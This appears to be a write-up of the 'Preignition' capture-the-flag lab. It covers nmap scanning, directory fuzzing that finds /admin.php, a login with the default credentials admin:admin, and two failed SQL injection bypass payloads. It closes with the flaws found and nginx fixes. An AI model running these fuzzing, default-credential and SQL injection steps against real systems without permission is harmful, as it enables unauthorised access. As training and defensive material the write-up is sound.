TL;DR

Preignition is a Linux box with a single open port: 80/tcp running nginx 1.14.2. The root page is the default nginx placeholder — nothing interesting. Directory fuzzing with ffuf and a 4750-entry wordlist finds /admin.php (HTTP 200). The login form accepts admin:admin — default credentials that were never changed. The flag is returned directly in the HTML response body on successful login. No shell access required or possible; this is a pure web-authentication exercise demonstrating why directory enumeration and default credential testing are always in the methodology.

Recon

1. Liveness check

$ ping -c 3 10.129.36.62
PING 10.129.36.62 (10.129.36.62): 56 data bytes
Request timeout for icmp_seq 0
100% packet loss

ICMP filtered. Proceed with -Pn.

2. Initial TCP sweep — SYN scan fails

$ sudo nmap -sS -Pn -p- --min-rate 5000 10.129.36.62
All 65535 scanned ports are in ignored states (filtered).

SYN packets dropped by the firewall. This is a VPN/host-firewall artifact. Switching to TCP Connect scan:

3. TCP Connect scan reveals port 80

$ nmap -sT -Pn -p- --min-rate 3000 10.129.36.62
PORT   STATE SERVICE
80/tcp open  http

Key methodology note: -sS (SYN scan) requires raw socket privileges and sends crafted half-open packets. When a firewall drops SYN without RST, all ports appear filtered. -sT (TCP Connect scan) uses the OS network stack’s connect() call — a full three-way handshake — and returns closed (got RST) or open (got SYN-ACK) for each port, making firewall behavior less ambiguous.

4. Service detection

$ nmap -sT -sV -sC -Pn -p 80 10.129.36.62
PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Welcome to nginx!

nginx 1.14.2 — default installation page. Nothing in the root response body beyond the stock nginx placeholder.

5. Manual path checks

Before fuzzing automatically, quickly check the paths that commonly exist even on default web server installs:

curl -s http://10.129.36.62/robots.txt     # → 404
curl -s http://10.129.36.62/.git/HEAD      # → 404
curl -s http://10.129.36.62/admin/         # → 404
curl -s http://10.129.36.62/login          # → 404
curl -s http://10.129.36.62/.env           # → 404

Nothing. The content is not at any obvious path.

Foothold

Dead end #1 — SYN scan returning all-filtered

Covered above. The fix is -sT instead of -sS. Both scan types are valid; the difference is which one produces useful output when the target has asymmetric firewall rules.

Dead end #2 — gobuster with missing wordlist

gobuster dir -u http://10.129.36.62/ \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -x txt,php,html
# Error: stat /usr/share/wordlists/dirbuster/...: no such file or directory

The Kali Linux default wordlist path doesn’t exist on macOS. Need to download the wordlist explicitly or use a local copy.

Working approach — ffuf with downloaded SecLists wordlist

Download a compact but effective wordlist:

curl -s https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/common.txt \
  -o /tmp/common.txt
# 4750 entries

Run ffuf:

ffuf -u http://10.129.36.62/FUZZ -w /tmp/common.txt \
  -mc 200,301,302,403,401 -t 50

Output:

admin.php               [Status: 200, Size: 999, Words: 132, Lines: 32, Duration: 38ms]

One result: /admin.php returns HTTP 200 with 999 bytes — the only non-404 path out of 4750 tested.

The admin.php login form

curl -v http://10.129.36.62/admin.php
<h2 align="center">Admin Console Login</h2>
<form method="post">
  <input type="text" name="username" placeholder="Enter Username">
  <input type="password" name="password" placeholder="Enter Password">
  <input type="submit" value="Login">
</form>

A POST form with username and password fields. No CSRF token.

Testing default credentials

Failed login response is 1071 bytes with “Wrong username or password.”
Successful login response is noticeably shorter (different page content).

curl -s -X POST http://10.129.36.62/admin.php -d "username=admin&password=admin"

Response:

<h4 style='text-align:center'>Congratulations! Your flag is: [REDACTED]</h4>

The flag is returned directly in the HTML body on successful authentication.

Why admin:admin worked: The admin console’s authentication is hardcoded or never changed from the installer’s default. This is CWE-798 (Use of Hard-coded Credentials) — the credential is part of the application configuration, not a changeable setting.

SQL injection attempts (all failed)

For completeness, classic auth bypass attempts were tried:

# Classic OR bypass
curl -s -X POST http://10.129.36.62/admin.php \
  -d "username=admin' OR '1'='1&password=test"
# Response size: 1071 (wrong credentials)

# Comment bypass
curl -s -X POST http://10.129.36.62/admin.php \
  -d "username=admin'-- -&password=test"
# Response size: 1071 (wrong credentials)

All SQL injection payloads returned 1071-byte failure pages. The authentication is implemented as string comparison, not a SQL query — there is no SQL injection surface here.

Privilege Escalation

N/A — Starting Point Tier 0 box with a web-only attack surface. The admin console login returns the flag inline; there is no shell access to obtain or escalate. Port 80 is the only open port on the machine.

What’s actually broken

  1. Default credentials never changed (admin:admin). CWE-798. The application shipped with or was deployed with default credentials and they were never rotated. Any attacker who finds the login page immediately gets in.
  2. Admin panel reachable from the internet without path obscurity. /admin.php is a predictable filename. It should be behind VPN, IP allowlist, or at minimum a non-guessable path.
  3. No rate limiting on login attempts. The server accepts unlimited POST requests to /admin.php with no lockout, CAPTCHA, or delay. An attacker can try thousands of credential combinations without interruption. (CWE-307)
  4. No HTTPS. All credentials transmitted in cleartext over HTTP.

Remediation (the boring half)

Change default credentials immediately after installation:

# Typically in the application config
# Replace with a strong randomly generated password
APP_ADMIN_PASSWORD=$(openssl rand -base64 32)

Restrict the admin path at the nginx level:

location /admin.php {
    allow 10.0.0.0/8;    # internal network only
    deny all;
    fastcgi_pass unix:/var/run/php/php-fpm.sock;
    fastcgi_index index.php;
    include fastcgi_params;
}

Add rate limiting in nginx:

limit_req_zone $binary_remote_addr zone=admin:10m rate=3r/m;

location /admin.php {
    limit_req zone=admin burst=5 nodelay;
    # ... fastcgi config
}

Enable HTTPS:

certbot --nginx -d yourdomain.com

Lessons learned

  • Directory fuzzing is mandatory on web targets. The root of this machine was a blank nginx page. Without fuzzing, the admin panel is invisible. ffuf with even a 4750-entry common.txt takes seconds.
  • SYN scan vs TCP Connect scan. -sS requires raw sockets and can look like all-filtered when a stateful firewall drops SYN. -sT uses the OS network stack and gives clearer results. Know when to switch.
  • Response size is a reliable oracle. Failed login: 1071 bytes. Successful login: 365 bytes. When a login form returns HTTP 200 regardless of outcome (no redirects, no error codes), response size is your binary signal.
  • Default credentials before wordlists. admin:admin, admin:password, admin:123456 take three seconds to test. Run them first, every time, before any automated brute-force.

References